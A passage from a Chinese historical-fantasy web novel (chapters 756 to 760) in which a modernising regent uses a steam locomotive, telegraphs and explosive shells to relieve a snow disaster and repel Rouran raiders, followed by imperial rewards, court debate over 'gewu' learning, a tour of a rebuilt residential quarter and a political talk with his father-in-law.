毛梦极眼中凶光爆射:“传令猎隼营,前出警戒。凡有靠近车队十里者,格杀勿论。” “是。”传令兵飞奔而去。 “铁龙一号”再次发出轰鸣,拖着长长的粮车,冲入风雪。 ...... “野狼坡”,柔然左贤王大帐。炭火熊熊,肉香弥漫。左贤王拓跋野,身材魁梧,满脸虬髯,正大口撕咬着烤羊腿。帐下,各部头领饮酒作乐,气氛热烈。 “报,大王。”一名斥候冲入大帐,“雁门关方向,有异动。” “哦。”拓跋野抹了抹嘴上的油,“林臻小儿,派兵出来了。” “非也。”斥候声音带着一丝惊疑,“乃一钢铁巨物,喷吐白烟,轰鸣如雷,拖拽十节大车,于雪地中自行!” “自行。”拓跋野一愣,“何物。” “属下不知。”斥候道,“其行缓慢,然力大无穷,破雪开道,所过之处,雪开路现。关内民夫……紧随其后……铺路架轨。” “铺路架轨。”拓跋野眼中精光一闪,“此乃运粮。” “正是。”斥候道,“车上满载粮袋。” “好。”拓跋野大笑,“天赐良机。传令,集结五千精骑,随本王劫了这粮车。” “大王。”一名老成头领皱眉,“此物诡异。喷烟吐火,轰鸣如雷,恐非人力可敌。” “笑话。”拓跋野不屑,“再大,也是死物。我柔然铁骑,踏碎它。” 五千精骑迅速集结,如同黑色的潮水,在拓跋野的率领下,冲出“野狼坡”,迎着风雪,直扑“铁龙一号”所在的山谷。 山谷外,猎隼营斥候早已发现敌踪。 “报,毛将军,柔然五千骑,距此二十里。” 毛梦极站在“铁龙一号”车头,枯瘦的脸上毫无惧色,眼中凶光更盛:“来得正好。传令,停车。焚雷卫,准备焚天雷。” “铁龙一号”缓缓停下。焚雷卫迅速下车,在轨道两侧雪坡上,架设起五具特制的“掷弹筒”,筒口对准柔然骑兵来袭方向。筒内,已装入黝黑的“焚天雷”原型弹。 风雪中,地平线上出现一道黑线。黑线迅速扩大,化为奔腾的洪流。柔然铁骑的号角声、马蹄声、呐喊声,如同闷雷般滚滚而来,震得地面微微颤抖。 “五百步。”斥候高喊。 “四百步。” “三百步。” 毛梦极枯瘦的手臂高高举起。 “两百步。”斥候声音嘶哑。 “放。”毛梦极手臂猛地挥下。 “嘭嘭嘭嘭嘭。”沉闷的发射声响起。五枚黝黑的“焚天雷”划破风雪,带着凄厉的尖啸,砸入柔然骑兵冲锋的阵型。 “轰轰轰轰轰。”震耳欲聋的恐怖爆炸接连炸响。炽热的火焰夹杂着浓烟和锋利的金属碎片冲天而起。瞬间吞噬了冲锋的柔然骑兵。人仰马翻,血肉横飞。战马的悲鸣,士兵的惨嚎,在爆炸声中显得如此微弱。冲锋的阵型瞬间被撕开数个巨大的缺口。焦黑的尸体和燃烧的残骸散落一地。 “长生天啊,那是什么。”幸存的柔然骑兵发出惊恐的尖叫。冲锋的势头为之一滞。 “再放。”毛梦极声音冰冷。 第二轮“焚天雷”呼啸而至。更大的爆炸在柔然骑兵中炸开。恐怖的冲击波将人和马狠狠掀飞。火焰吞噬一切。柔然骑兵的冲锋阵型彻底崩溃。幸存者丢盔弃甲,如同丧家之犬般狼奔豕突。 “金吾卫,出击。”毛梦极厉喝。 早已埋伏在两侧雪坡上的金吾卫重甲骑兵,如同黑色的钢铁洪流,踏着雷鸣般的蹄声,卷起漫天雪沫,狠狠撞入混乱的柔然骑兵。冰冷的枪锋轻易洞穿皮甲,沉重的马蹄踏碎倒地的敌人。所过之处,人仰马翻,势不可挡。 “撤,快撤。”拓跋野目眦欲裂,看着如同魔神般杀来的金吾卫和那喷吐着火焰与浓烟的钢铁巨兽,心中充满了恐惧与不甘。他调转马头,狼狈不堪地遁入风雪深处。残余的柔然骑兵紧随其后,丢下满地狼藉和浓重的血腥味。 “追。”毛梦极眼中凶光炽盛。 “将军。”副将急道,“粮草为重。” 毛梦极勒住战马,看着溃逃的柔然骑兵,又看了看身后喷吐着白烟的“铁龙一号”,枯瘦的脸上刀疤扭曲:“便宜他了。传令,清理战场,继续前进。” ?雪原曙光·格物惊雷? 风雪渐息。朝阳刺破云层,洒落在银装素裹的雪原上。“铁龙一号”喷吐着白烟,拖着长长的粮车,缓缓驶入黑石县城。破败的城墙上,挤满了衣衫褴褛、面黄肌瘦的灾民。他们看着这喷烟吐火、轰鸣如雷的钢铁巨兽,眼中充满了恐惧与茫然。 但当车门打开,一袋袋粮食被搬下时,恐惧化作了难以置信的狂喜。 “粮食,是粮食。” “朝廷送粮来了。” “我们有救了。” 灾民们爆发出震天的欢呼,泪水混合着雪水,在冻僵的脸上流淌。他们跪倒在地,朝着帝京的方向,朝着那钢铁巨兽,叩首谢恩。 毛梦极站在车头,看着眼前的情景,枯瘦的脸上,那道狰狞的刀疤似乎也柔和了几分。他抬头望向远方,那里,电报线路的木杆,正沿着新开的雪道,向更远的受灾州县延伸。 楚惜灵站在雁门关指挥所内,看着电报员译出的最新信息:“黑石县粮至,民心安。铁龙一号休整后,即赴云州。柔然溃退百里,暂无动向。” 她清冷的脸上,依旧无波无澜,但清冷的眼眸深处,映着窗外初升的朝阳,仿佛有微光闪烁。她走到电报机前,指尖在按键上快速敲击,将信息发往帝京紫宸殿。 “北疆雪原,惊雷已响。铁龙破冰,电波通联。十万灾民,生机初现。柔然宵小,慑于天威。格物之力,终化惊雷,护我山河,泽被苍生。” 第757章 犒赏 帝京,紫宸殿。 深冬的寒意被殿内数十座鎏金炭火盆驱散,空气中弥漫着龙涎香的馥郁与暖意。 然而,殿内的气氛却比殿外的寒冬更加肃穆凝重。 林臻玄色蟠龙常服,端坐于御阶之下左侧首位,深邃的眼眸平静无波,扫视着阶下肃立的文武百官。 女帝慕容嫣高坐于九龙金椅之上,凤冠霞帔,仪态雍容,沉静的目光中带着一丝不易察觉的疲惫与欣慰。 北疆雪灾的阴霾虽已散去,但赈灾的余波、柔然的威胁、以及那两道撕裂风雪、震动朝野的“惊雷”,仍在每个人心头回荡。 “宣。”女帝慕容嫣声音清越,穿透殿内的寂静。 内侍总管手持明黄圣旨,高声宣读:“奉天承运,皇帝诏曰:北疆雪灾,百年不遇。柔然窥伺,雪上加霜。幸赖天威浩荡,将士用命,臣工戮力,终克时艰,拯黎民于水火,慑外虏于国门。特此,论功行赏。” “林臻统御有方,运筹帷幄,以格物惊雷破冰开路,瞬息通联,解十万灾民倒悬之急,慑柔然宵小不轨之心,居功至伟。赐黄金万两,锦缎千匹,加封太师,领天策上将,赐入朝不趋,赞拜不名,剑履上殿之殊荣。” “焚雷司主事楚惜灵,匠心独运,铸铁龙以破冰,电波以通神,居功厥伟。晋工部尚书,领格物院院正,赐文渊阁大学士,赏黄金五千两,玉璧一双。” “靖边将军毛梦极,亲冒风雪,押运粮草,破冰开路,临阵击溃柔然铁骑,勇冠三军。晋镇北侯,加太子少保,赐丹书铁券,赏黄金三千两,良田千顷。” “兵部、户部、工部、焚雷司及北疆诸将士、流官、民夫,各按功绩,厚赏有差。” “钦此。” “臣等,谢陛下隆恩。”林臻、楚惜灵、毛梦极及众臣躬身领旨。 殿内响起一片压抑的吸气声。 封赏之重,前所未有。 尤其是对楚惜灵的封赏,工部尚书、文渊阁大学士、格物院院正,位同宰辅,开女子入阁之先河。 这既是对其功绩的肯定,更是对格物之学地位的擢升。 林臻的天策上将与三殊礼,更是将兵权与威望推至巅峰。 毛梦极的丹书铁券,则是武勋的极致荣耀。 女帝以此昭告天下,新政与格物,已成国策,不可动摇。 封赏毕,女帝慕容嫣目光转向林臻:“太师,北疆惊雷,震动朝野。朕与众卿,皆欲一睹格物之威。” “臣,遵旨。”林臻躬身。 殿门开启。 数十名金吾卫甲士,护卫着两架蒙着厚重黑布的巨大物体,缓缓推入大殿。 沉重的车轮碾过金砖地面,发出沉闷的声响。 殿内群臣的目光,瞬间被吸引。 黑布揭开。 左侧,是一架按比例缩小的轨道蒸汽机车模型。精铜铸造的锅炉、气缸、飞轮、连杆,在烛火下闪耀着金属的光泽。黄杨木雕刻的车身,纹理细腻。 熟铁打造的轨道,铺设在特制的木基上。虽为模型,却结构精密,气势俨然。 右侧,则是一套完整的电磁电报机。 发送端与接收端的铜木装置,线条流畅。缠绕着黑色硫化橡胶的铜线,连接两端。 发送端按键锃亮,接收端指针悬停。 楚惜灵一身靛蓝官袍,清冷如常,步至殿中。她未看群臣,目光沉静地落在两件器物上。 “此乃轨道蒸汽机车模型,比例十比一。”楚惜灵声音清冷平稳,穿透大殿,“其力,源于水沸为汽,汽推活塞,活塞连曲轴,曲轴带飞轮,飞轮传动力。黑石县赈灾,铁龙一号载粮十车,重逾万斤,破深雪,开冰道,日行百里,非人力骡马可及。若辅以精钢轨道,优化热效,其速其力,可增十倍。假以时日,万里通途,朝发夕至,非虚言。” 她走到蒸汽机模型旁,示意工匠点燃特制的小型酒精炉。 炉火燃起,加热微型锅炉。 片刻,蒸汽喷涌,推动活塞,带动飞轮旋转,曲轴连杆运动,整台机车模型在轨道上缓缓前行! 虽无声响,但那精密的运动,那无需外力自行前行的景象,已让殿内群臣目瞪口呆。 楚惜灵转身,走向电报机。“此乃电磁电报机。” 她指尖轻触发送端按键,“其理基于电生磁,磁动针,针指码,码成文。雁门关至黑石县,三百里风雪,军情灾报,瞬息可达。无视山川阻隔,无视昼夜寒暑。” 她指尖在按键上快速敲击。 哒哒,哒哒哒。 清脆的按键声在寂静的大殿中格外清晰。 随着她的动作,接收端的金属指针开始左右摆动。 哒哒,哒哒哒。 指针的摆动与按键声几乎同步。 “发送编码:紫宸。”楚惜灵道。 接收端旁,一名小太监紧盯着指针摆动,迅速在纸上记录符号,随即高声念出:“接收信息:紫宸。” “发送编码:议政。”楚惜灵再次敲击。 小太监:“接收信息:议政。” “发送编码:惊雷。”楚惜灵指尖如飞。 小太监:“接收信息:惊雷。” 瞬息之间,信息传递,准确无误。 殿内一片死寂,唯有烛火噼啪作响。 群臣脸上的震惊,已无法用言语形容。 这无声的电波,这精密的运动,已超越了他们的认知范畴。 这非是神迹,而是格物之力!其威能,其潜力,足以颠覆乾坤! “格物之力,化惊雷,破风雪,通神意。”女帝慕容嫣的声音打破沉寂,带着不容置疑的威严,“此乃国朝之幸,黎民之福。着令。” “其一,工部、焚雷司、格物院,即日起,勘测规划京畿—北疆主干轨道。优先铺设帝京—雁门关段。调集铁龙系列机车,确保北疆粮道、军道畅通无阻。” “其二,驿传司、兵部、格物院,即日起,架设帝京—北疆电报干线。连通各州府、边关重镇。确保政令军情,瞬息可达。” “其三,户部、工部,即日起,制定格物兴国十年方略。蒸汽之力,应用于矿冶、漕运、织造。电报之网,覆盖郡县。所需银钱,内库拨付,国库保障。” “其四,礼部、国子监、格物院,即日起,修订科举章程。增设格物。于各州府设格物学堂,广纳贤才,研习格物,以实学兴邦。” “臣等,遵旨。”工部、兵部、户部、礼部尚书及楚惜灵躬身领命。 然而,殿内并非一片欢腾。 以礼部尚书周正、御史大夫王俭为首的一批老臣,面色凝重,眉头紧锁。 “陛下。”礼部尚书周正出列,须发皆白,声音苍老却带着一丝忧虑,“老臣斗胆。格物之学,虽有其能,然终为奇技淫巧,非治国大道。蒸汽机车,电报通讯,耗资巨万,劳民伤财。更恐机巧日盛,人心不古,礼崩乐坏,国将不国啊。” “周大人此言差矣。”工部尚书李崇(新任,原侍郎)出列反驳,“北疆雪灾,若无铁龙破冰,电波通联,十万灾民何以得救。柔然铁骑,若无焚天雷震慑,何以溃退百里。此乃实打实之功,岂是奇技淫巧四字可蔽之。” “李尚书。”御史大夫王俭接口,声音尖锐,“格物之力,固有其功。然,科举增设格物科,动摇儒学根本。广设格物学堂,恐使士子弃圣贤书而逐机巧术。长此以往,纲常何在,道统何存。” “王御史此言,未免危言耸听。”新任户部尚书张衡(原汇通号大掌柜,张俪之父)出列,声音沉稳, “格物之学,非为取代儒学,实为互补。儒学修身齐家治国,格物格物致知强邦。北疆赈灾,格物之力救民于水火,此非大仁。震慑外虏,保境安民,此非大义。格物之学,亦可载道。” “张尚书所言甚是。”兵部尚书赵武声如洪钟,“兵者,国之大事。格物之力,铸焚天雷可御外辱,造铁龙可运兵粮,通电报可调兵马。此乃强军卫国之本,岂是奇技淫巧。” “然……”周正还想再言。 “够了。”女帝慕容嫣声音平静,却带着无形的威压,“格物之力,于国于民,功在当下,利在千秋。此乃国策,非议可止。周卿、王卿忧国之心,朕知之。然时移世易,抱残守缺,非治国之道。格物兴国,势在必行。” 她目光扫过林臻:“太师以为如何。” 林臻缓缓起身,玄色衣袍无风自动,深邃的目光扫过众臣,声音低沉而有力: “格物之力,非为奇技,乃格天地之理,致万物之用。蒸汽之力,解放人力,富国强民。电波之速,通达信息,固国安邦。此非动摇道统,实为道统之新章。 昔孔子制礼乐,亦需钟鼓琴瑟。今格物铸惊雷,亦为护我礼乐之邦。北疆雪原,十万灾民得救,乃仁。慑退柔然,保境安民,乃义。此皆格物之力,践行圣道。阻格物,便是阻仁政,阻大义。” 他目光如电,直视周正、王俭:“至于耗资巨万,北疆赈灾,若无铁龙,征调民夫十万,耗粮无数,耗时数月,死伤几何。若无电报,信息不通,贻误战机,柔然犯境,生灵涂炭,损失几何。此间得失,诸公可曾细算。” 周正、王俭哑口无言,脸色涨红。 “格物兴国,非一日之功。”林臻声音转沉,“然,方向已明,道路已开。吾辈当披荆斩棘,砥砺前行。而非坐而论道,空谈误国。” 殿内一片寂静。林臻的话语,如同重锤,敲在每个人心头。女帝慕容嫣微微颔首:“太师之言,甚合朕意。格物兴国,乃既定国策。诸卿当同心戮力,共襄盛举。退朝。” “陛下圣明。”众臣躬身。 林臻转身,玄色披风在身后划出一道凌厉的弧线。 楚惜灵清冷的目光扫过殿中那两件格物杰作,随即垂眸,跟随林臻,步出紫宸殿。 第758章 兴化坊的新模样 帝京的深冬,寒风凛冽,吹过朱雀大街的青石板路,卷起细碎的雪沫。 阳光透过稀薄的云层,洒下苍白的光线,为这座古老的都城镀上一层清冷的色泽。 林臻一身靛青素面锦缎常服,外罩玄色薄氅,未带仪仗,仅由两名气息内敛、身着便装的亲卫随行,缓步行走在熙攘的人流中。 他刻意收敛了周身那无形的威压,如同一个寻常的富家公子,目光沉静地扫视着这座他守护的城池,感受着新政推行下,市井间流淌的细微脉动。 穿过几条繁华的主街,转入东城。 眼前的景象豁然开朗。 与记忆中三年前那场大火后的焦土废墟截然不同,呈现在林臻眼前的,是一片规划整齐、气象崭新的居住区——兴化坊重建小区。 青灰色的五层砖混楼房整齐排列,如同沉默的卫士,矗立在冬日阳光下。 墙体由机制砖砌筑,勾缝平整,砂浆饱满,泛着坚实的光泽。 宽大明亮的玻璃窗镶嵌在墨绿色的窗框中,反射着清冷的天光。 楼顶铺设着特制的防水油毡,边缘砌筑着半人高的女儿墙,显得干净利落。 每栋楼前,都有一片方正的空地,栽种着耐寒的松柏和冬青,虽值深冬,依旧苍翠。 空地上,还设有石桌石凳,供人休憩。 林臻沿着宽阔的青石板主干道缓步前行。 路面洁净如洗,不见积雪污泥。 两侧设有砖砌的排水明沟,沟内水流清澈,无杂物淤塞。 每隔数十步,便放置着一个漆成绿色、带盖的木制垃圾桶,桶身上用端正的楷书写着“爱护坊市,垃圾入桶”的标语。 “这位郎君,是来看房的吗?”一位身着整洁棉袄、臂戴红袖章的老者迎面走来,脸上带着和善的笑容。 袖章上绣着“卫生纠察”四个字。 “路过,看看。”林臻颔首。 “哦,那您可来对地方了。”老者热情地介绍,“咱们兴化坊,可是帝京头一份的安居小区。您瞧这楼,砖混结构,结实着呢,防火防震。家家户户都有独立的厨卫,再也不用去公共澡堂排队了。楼里有公共水房,定时供水。屋顶还能晾晒衣物,方便得很。” “租金贵吗?”林臻问。 “不贵不贵。”老者摆手,“府衙有规定,像我们这些老住户,租金按市价三成收。像我这套一室一厅,每月才一百二十文。比以前住棚户还便宜。而且啊,” 他压低声音,带着一丝神秘,“府衙说了,只要按时交租,住满十年,这房子就能归咱们了。只要象征性地付一两银子。” “哦,那倒是不错。”林臻道。 “可不是嘛。”老者脸上洋溢着满足的笑容,“住得舒心,心里也踏实。您再瞧这环境,”他指着洁净的路面,“每日有保洁员清扫,垃圾定点投放。还有我们这些纠察,专管那些乱丢垃圾、随地吐痰的。现在啊,大家伙儿都自觉了,环境好了,住着也舒坦。” 正说着,一个约莫七八岁的小男孩,手里捏着一块果核,蹦蹦跳跳地跑到一个垃圾桶旁,踮起脚尖,将果核投入桶内。 “阿宝真乖!”老者扬声夸奖。 小男孩得意地拍拍手,跑开了。 “您看,连孩子都知道爱护环境了。”老者笑道。 林臻微微颔首,目光扫过洁净的街面和老者满足的笑容。这不仅仅是硬件的改善,更是居民精神面貌的提升。自治管理,相互监督,奖惩分明,方能持久。 沿着主干道前行,来到小区南侧。 一条宽约三丈的河流,自西向东,蜿蜒流过。河水清澈,在冬日阳光下波光粼粼,倒映着两岸新砌的条石驳岸和光秃秃的垂柳枝条。 河面上,不见漂浮的垃圾油污,更无记忆中刺鼻的粪水恶臭。几只水鸟在河心嬉戏,时而扎入水中,叼起小鱼。 “这是金水河支流,以前可臭了。”老者指着河道,“以前沿岸私搭乱建,粪水污水直排入河,臭气熏天,蚊蝇滋生。现在可好了,您瞧,多干净。” “如何治理的?”林臻问。 “拆了所有临河违建,退让十丈,修了这石头驳岸,设了护栏。”老者道,“还在地下埋了大管子,叫什么陶管排污总管。各家各户的污水粪水,都通过管子排到城外的大池子里处理了,不往河里排。还有河长,就是坊正兼任,每日巡查,严禁往河里倒垃圾排污水,违者重罚。您瞧,还放了鱼苗,种了水草,净化水质。” 正说着,几个半大孩子拿着简陋的网兜和小桶,在河边浅水处嬉笑着捕捉小鱼小虾。 一位须发皆白的老者,裹着厚厚的棉袄,坐在柳树下的石凳上,悠闲地垂钓。 “老张头,钓着鱼没?”红袖章老者扬声问。 “钓着两条小鲫鱼。”垂钓老者抬起头,脸上带着满足的笑容,“托王爷的福,这河可算活过来了。老头子我又能钓鱼了。” 林臻看着老者满足的笑容和孩童们嬉戏的身影,心中欣慰。金水河支流的蜕变,是系统治理的成果,更是惠民新政的缩影。 穿过几排安居楼,来到小区中心的便民市集。 市集位于一个开阔的广场上,地面同样铺着干净整洁的青石板。 摊位整齐排列,蔬果鱼肉、针头线脑、日用百货琳琅满目。 商贩们衣着整洁,热情招呼。顾客多为小区居民,提着菜篮,悠闲选购,讨价还价声不绝于耳,却无争执喧哗。 “新鲜的冬笋哟,早上刚从南郊拉来的,水灵着呢。”一个菜贩中气十足地吆喝。 “大娘,您瞧瞧这北燕煤做的蜂窝煤,火旺耐烧,烟少灰少,还干净。府衙有补贴价,划算着呢。”一个煤铺伙计向一位老妇人热情推销。 “郎君,看看这新到的格物院改良纺锤,纺起线来又快又匀,省时省力。”一个货郎摆弄着精巧的木制器械。 林臻在一个蒸汽腾腾的早点摊前停下。 摊主是一对中年夫妇,摊车擦得锃亮,蒸笼冒着诱人的白气。 “郎君,来屉包子?猪肉白菜馅的,刚出锅,热乎着呐。”男摊主热情招呼。 “来一屉。”林臻示意亲卫。 “好嘞。”摊主麻利地夹起包子,用油纸包好,“三文钱,您拿好。” 林臻付钱时,留意到摊车旁挂着一块小木牌,上面写着“卫生甲等”四个红字。 “郎君好眼力。”女摊主见状,脸上露出自豪的笑容, “这是坊里每月卫生评比发的牌子。那些纠察们查得可严了。灶台干不干净,抹布消没消毒,垃圾及不及时清走,食材新不新鲜,样样都得过关。评上这甲等,街坊邻居都信得过,生意都好做不少呢。” 旁边一个卖水果的摊主也凑过来:“是啊。以前这地方乱糟糟的,苍蝇嗡嗡乱飞,谁愿意来买东西。现在多干净。大家伙儿都自觉了。别说乱丢垃圾,就是随地吐口痰,都怕被纠察看见,臊得慌。” 林臻听着摊主们七嘴八舌却充满自豪的议论,看着他们脸上洋溢的满足笑容和眼中闪烁的光彩,一股暖流悄然涌上心头。 安居方能乐业。环境的改善,管理的规范,不仅提升了生活品质,更重塑了人的精神面貌和行为习惯。 离开市集,林臻被一阵清脆的读书声吸引。 循声望去,只见小区一角,一座青瓦白墙的新建院落前,挂着一块“兴化坊蒙学堂”的匾额。院落内,传来孩童们朗朗的读书声。 “人之初,性本善。性相近,习相远……” 林臻驻足院外,透过敞开的院门望去。 宽敞明亮的教室内,数十名年龄不一的孩童,身着整洁的棉袄,端坐在崭新的木桌前,跟着讲台上一位年轻的流官先生,摇头晃脑地诵读着《三字经》。 阳光透过宽大的玻璃窗,洒在孩子们红扑扑的小脸上,映照着他们专注而明亮的眼睛。 “这是府衙办的蒙学堂。”红袖章老者跟在一旁,低声介绍,“不收束脩,坊内所有适龄孩童都能来读书识字。先生是朝廷派来的流官,学问好,人也和气。孩子们可喜欢了。” “阿宝也在里面呢。”老者指着教室后排一个虎头虎脑的小男孩,正是刚才扔果核的那个孩子。 林臻静静地看着。 孩子们清脆的读书声,如同初春的鸟鸣,充满了生机与希望。 免费蒙学堂的设立,不仅让孩子们有了识字明理的机会,更在潜移默化中培养着新一代的文明习惯和公民意识。这才是惠及长远的根本之策。 日影西斜,暮色四合。林臻告别了热情的红袖章老者,缓步走出兴化坊。 回望这片在废墟上重生、充满生机与希望的土地,整齐的楼宇在暮色中披上暖光,洁净的街巷人影幢幢,清澈的河面泛着粼粼波光,热闹的市集传来阵阵笑语,蒙学堂的读书声依旧清脆悦耳。 孩童的嬉闹声,老者的谈笑声,商贩的吆喝声,交织成一曲生动而温暖的市井交响。 他想起紫宸殿上的宏图伟略,想起格物院的蒸汽轰鸣与电波无声,想起北疆雪原的铁龙破冰与惊雷慑敌。 那些是改天换地的惊雷。 而眼前这方整洁安宁的小天地,这街巷升腾的烟火,这黎民百姓脸上真心的笑容,才是那惊雷最终要守护的图景。 为国为民,非止于金戈铁马,更在于这万家灯火的温暖,在于这街巷升腾的烟火,在于这黎民百姓安居乐业的盛世图景。 这,才是他林臻穷尽一生,也要守护的江山本色。 寒风依旧凛冽,林臻紧了紧身上的薄氅,转身融入帝京繁华的暮色之中。 前路虽长,然民心所向,便是光明所在。 第759章 上官墨轩来京 帝京,城东,上官府邸。 朱漆大门紧闭,门前两尊石狮踞坐,狮身覆着薄雪,更显威严肃穆。 门楣上悬着御笔亲题的文渊阁老匾额,虽已卸任首辅多年,但这座府邸依旧沉淀着百年世家的厚重与清贵之气。 今日,林臻轻车简从,玄色蟠龙常服外罩同色薄氅,只带两名亲卫,踏雪而来。 门房早已通报。府门开启,上官府大管家上官福,一位须发皆白、面容清癯的老者,躬身相迎:“老奴参见殿下。老爷已在松涛轩等候多时。” “不必多礼。”林臻颔首,声音平和。 “殿下请随老奴来。”上官福侧身引路。 穿过几重院落,积雪清扫得干干净净,露出青石板路面。 庭院深深,古木参天,松柏苍翠,枝头压着积雪,更显遒劲。 空气中弥漫着淡淡的松香与书墨气息,与府外的喧嚣隔绝开来。 行至后院,一座临水而建的轩馆映入眼帘。 匾额上书“松涛轩”三字,笔力遒劲,风骨嶙峋。 轩内,炭火盆烧得正旺,驱散了深冬寒意。 紫檀木书案后,一位身着深紫色暗云纹锦袍的老者端坐。 他须发皆白,面容清癯,眉宇间带着久居上位的威严与阅尽沧桑的沉静,正是前首辅、林臻岳丈——上官墨轩。 他手中拿着一卷泛黄的古籍,见林臻进来,缓缓放下书卷,目光平静无波。 “岳丈大人。”林臻躬身行礼。 “殿下不必多礼,坐。”上官墨轩声音沉稳,指了指书案对面的紫檀木圈椅。 林臻依言坐下。上官福奉上热茶,随即躬身退下,轻轻带上轩门。轩内只余翁婿二人,炭火盆偶尔发出轻微的噼啪声。 “雪天路滑,殿下亲临,老朽有失远迎。”上官墨轩端起茶盏,轻抿一口。 “岳丈言重。”林臻道,“北疆雪灾初定,朝务稍缓,特来探望岳丈,聆听教诲。” “殿下如今位极人臣,执掌枢机,何须老朽教诲。”上官墨轩目光深邃,“北疆之事,殿下运筹帷幄,以格物惊雷破冰通联,拯黎民于水火,慑外虏于国门,功在社稷,老朽甚慰。” “岳丈过誉。”林臻声音平静,“此乃将士用命,臣工戮力,格物显威,非臻一人之功。” “格物”上官墨轩放下茶盏,目光落在轩外覆雪的松枝上,“铁龙破冰,电波通神。此等伟力,闻所未闻。殿下开创先河,功莫大焉。” “然”他话锋一转,目光转向林臻,“老朽听闻,紫宸殿上,周正、王俭等老臣,对新政颇有微词。增设格物科,广设格物学堂,动摇科举根本,恐引得士林非议,人心浮动。” “岳丈以为如何。”林臻反问。 上官墨轩沉默片刻,指尖无意识地摩挲着书案上的镇纸:“格物之力,其威其能,老朽亲见,无可置疑。然,治国之道,首重人心。儒学千年,乃立国之本,教化之基。格物之学,虽能强邦,然若冲击道统,动摇根本,恐得不偿失。” “岳丈之忧,臻明白。”林臻声音低沉, “然,岳丈可知,北疆雪灾,若无铁龙日行百里破冰运粮,十万灾民,需征调民夫几何,耗时几何,死伤几何。若无电报瞬息通联军情,柔然铁骑趁虚而入,生灵涂炭,损失几何。此皆格物之力,践行圣道之仁,护佑苍生之义。阻格物,便是阻仁政,阻大义。” “至于科举,”林臻继续道,“增设格物科,非为取代儒学,实为互补。儒学修身齐家治国,格物致知强邦。国不强,何以护道统。民不富,何以兴礼乐。此乃相辅相成,并行不悖。” 上官墨轩静静听着,深邃的眼眸中看不出波澜:“殿下所言,不无道理。然,士林清议,世家门阀,盘根错节。新政推行,触动利益,阻力重重。周正、王俭,不过冰山一角。殿下需知,水能载舟,亦能覆舟。” “岳丈教诲,臻铭记于心。”林臻颔首,“然,非常之时,当行非常之法。北疆雪灾,柔然窥伺,帝京暗流,皆不容缓。格物兴国,乃大势所趋。臻愿为天下先,披荆斩棘。” “殿下魄力非凡。”上官墨轩目光微凝,“然,过刚易折。老朽有一言,望殿下静听。” “岳丈请讲。” “新政当缓图。”上官墨轩声音低沉, “格物之学,可先行于工部、兵部、驿传等实务衙门,以显其能,以安人心。科举增设格物科,可先设于国子监、格物院,为试点,待成效显著,人才辈出,再徐徐推广。广设格物学堂,更需谨慎。可先于州府重镇,择良才而教,勿使良莠不齐,反生事端。此乃老成谋国之道。” “岳丈老成持重,思虑周全。”林臻道,“然,时不我待。北疆轨道、电报干线,需大量通晓格物之才。若按部就班,恐缓不济急。” “殿下可双管齐下。”上官墨轩道,“一方面,于国子监、格物院设速成班,专授轨道、电报、机械等实用之学,选拔军中、工部、流官中聪慧子弟,短期培训,以应急需。另一方面,于科举格物科,严定章程,选拔真正通晓格物原理、有志于实学之才,为长远计。如此,既解燃眉之急,又固长远之基。” 林臻目光微动:“岳丈此策甚善。” “至于世家门阀”上官墨轩端起茶盏,轻抿一口,“殿下可示之以利。” “哦?”林臻挑眉。 “格物兴国,非独朝廷之利。”上官墨轩道, “轨道铺设,需大量铁料、木材、石料。电报架设,需铜线、胶皮、磁石。蒸汽机车、纺织机械、矿山设备皆需巨量原料与工匠。此中商机,何止亿万。殿下何不放开部分专营,许世家入股,共享其利。利之所在,人心自附。阻力或可化为助力。” 林臻沉默片刻,深邃的眼眸中闪过一丝精光:“岳丈深谙人心。” “老朽不过痴长几岁,略知世情罢了。”上官墨轩放下茶盏,“殿下雄才大略,锐意革新,老朽欣慰。然,为君者,刚柔并济,恩威并施,方为长久之道。婉儿在府中,可还安好。” “婉儿持家有方,府中诸事,井井有条。”林臻道。 “婉儿自幼受教于老朽,知书达理,然性子过于持重。”上官墨轩目光深远,“殿下多担待。” “婉儿贤良淑德,乃臻之幸。”林臻道。 “如此便好。”上官墨轩微微颔首,“天色不早,雪路难行。殿下请回吧。” “岳丈保重身体。”林臻起身,躬身行礼。 “殿下亦当珍重。”上官墨轩目送林臻离去,深邃的眼眸中,映着轩外苍劲的雪松,久久不语。 林臻走出“松涛轩”,寒风卷起雪沫,扑打在脸上。 上官福早已等候在廊下。 “殿下,老爷吩咐,备了些府中新制的梅花糕和云雾茶,请殿下带回府中,与王妃尝尝。”上官福躬身道,身后小厮捧着一个精致的食盒。 “有劳。”林臻颔首。 他踏雪而行,走出上官府邸。厚重的朱漆大门在身后缓缓关闭,隔绝了府内的清贵与沉静。帝京的喧嚣与寒意再次扑面而来。 马车内,林臻闭目养神。上官墨轩的话语,如同投入深潭的石子,在他心中漾开层层涟漪。 这位秦国国士历经三朝、宦海沉浮的前首辅,虽已远离权力中心,但其眼光之老辣,思虑之深远,对朝局人心之洞察,远非常人可及。 他并未直接反对新政,而是以退为进,提出了一条更稳妥、更具操作性的路径。 既肯定了格物之力的价值,又顾及了士林清议与世家利益,为新政的推行铺设了一条缓冲带。 林臻嘴角勾起一丝冰冷的弧度。 这确是一步妙棋。将阻力化为助力,以利益捆绑,分化瓦解。 那些盘根错节的世家门阀,在巨大的商业利益面前,未必不会低头。这比单纯的强硬推行,更为高明。 林臻想起上官墨轩最后的话语。 这位岳丈,看似闲话家常,实则意味深长。 婉儿持重,需多担待这既是长辈的嘱托,亦是一种隐晦的提醒。 新政之路,荆棘密布,他林臻可以锐意进取,但镇北王府的后院,需婉儿持重守成,方能稳固。 马车碾过积雪,发出吱呀的声响。 帝京的暮色深沉,万家灯火渐次亮起。 林臻睁开眼,深邃的眼眸中,映着窗外流动的灯火,沉静如渊。 第760章 众臣不同意 紫宸殿。 深冬的晨光透过高耸的琉璃窗棂,洒在冰冷的金砖地面上,映照着殿内肃立的文武百官。 炭火盆驱散了寒意,却驱不散空气中弥漫的凝重与压抑。 女帝慕容嫣高坐于九龙金椅之上,凤冠霞帔,仪态端凝,沉静的目光扫过殿下群臣。 林臻玄色蟠龙常服,端坐御阶之下左侧首位,深邃的眼眸平静无波,如同深潭古井。 今日朝议,将决定帝国未来的走向。 内侍总管手持明黄卷轴,高声宣旨:“奉天承运,皇帝诏曰:格物之学,格天地之理,致万物之用。北疆雪灾,铁龙破冰,电波通神,拯黎民,慑外虏,功勋卓著。为固国本,强邦基,惠民生,特颁格物兴国新政方略,昭告天下,一体施行。” 圣旨宣读完毕,殿内一片死寂。 群臣神色各异,或振奋,或凝重,或疑虑,或震惊。 